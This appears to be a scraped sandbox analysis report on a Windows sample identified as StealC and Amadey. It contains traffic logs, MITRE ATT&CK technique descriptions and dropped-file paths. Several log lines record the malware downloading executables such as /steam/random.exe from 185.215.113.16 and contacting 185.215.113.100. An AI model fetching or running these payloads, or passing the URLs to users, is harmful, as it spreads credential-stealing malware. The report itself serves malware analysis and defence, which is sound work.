Source: global traffic	HTTP traffic detected: GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ArbitrationServiceSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: x-goog-authuserOrigin: https://accounts.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: same-siteSec-Fetch-Dest: emptyReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9
Source: global traffic	HTTP traffic detected: OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: x-goog-authuserOrigin: https://accounts.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: same-siteSec-Fetch-Dest: emptyReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.2045.47"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ArbitrationServiceSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AY4GWKBMNax_FQrZEVzNkO_0mu3UShnzR6AihR_EPjVIUOT_pwZzkWCpOk8YKIu0qnIq_YObWXuPyiJ7NA0nDjMHUEYIIEknsNvJHXuPd0MqxESzoxi9xiMyJKNwZiVV1yEAxlKa5UVe61sINARQ7fO9dE0bkfP_W4GG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_80_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1725756513&P2=404&P3=2&P4=m0BaPr%2fR58ol9MUP2AYwolVfZzOh8Mhc5WyNJgURKBMcsnK8wNLiGQ44cngzYcMYYt%2bGvGdDQPZBawSOOPGpCQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: YS1vxmI17NwdpcPlvrqdhDSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /api/report?cat=bingbusiness HTTP/1.1Host: bzib.nelreports.netConnection: keep-aliveOrigin: https://business.bing.comAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/addressbar_uu_files.en-gb/1.0.2/asset?assetgroup=AddressBar HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: AddressBarSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8

Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Puub8z+zVuouR5o&MD=HcBh4Tbs HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ArbitrationServiceSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.2045.47"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ArbitrationServiceSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AY4GWKBMNax_FQrZEVzNkO_0mu3UShnzR6AihR_EPjVIUOT_pwZzkWCpOk8YKIu0qnIq_YObWXuPyiJ7NA0nDjMHUEYIIEknsNvJHXuPd0MqxESzoxi9xiMyJKNwZiVV1yEAxlKa5UVe61sINARQ7fO9dE0bkfP_W4GG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_80_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1725756513&P2=404&P3=2&P4=m0BaPr%2fR58ol9MUP2AYwolVfZzOh8Mhc5WyNJgURKBMcsnK8wNLiGQ44cngzYcMYYt%2bGvGdDQPZBawSOOPGpCQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: YS1vxmI17NwdpcPlvrqdhDSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Puub8z+zVuouR5o&MD=HcBh4Tbs HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /assets/addressbar_uu_files.en-gb/1.0.2/asset?assetgroup=AddressBar HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: AddressBarSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Sat, 31 Aug 2024 22:58:27 GMTIf-None-Match: "66d3a013-1b5400"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.100Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.100Connection: Keep-AliveCache-Control: no-cache

Source: 000003.log8.10.dr, uu_host_config.10.dr, f_000002.11.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log8.10.dr, uu_host_config.10.dr, f_000002.11.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log8.10.dr, uu_host_config.10.dr, f_000002.11.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\067a40cd-71e9-45b5-8a3c-53c01e0b551a.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\0a38c131-ec8e-488e-8796-1497aa787baf.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\0d0a1489-0d60-488a-978d-9c3a75cca4dc.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\11ecbbbc-1f76-45d3-91ba-eab36cc99a37.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\14e2742e-e51b-4a3d-a7ae-10070001b294.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\17d35daa-f9e3-4c81-a11d-eccfce680849.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\1c171f57-0211-46c1-bd45-6023a6979c39.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\3188aa6a-41b0-45b5-bd3c-e9f32c6b4583.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\4088f7b1-4fb3-4201-871f-2b1c541c4f5e.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\46f6a3f7-c35b-4ee1-bb67-d8085721e724.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\4e98e6bf-a3b6-4a4a-b916-577627f66283.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\4ee48009-52bc-48fb-99e1-6a5ce4ad288c.tmp

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
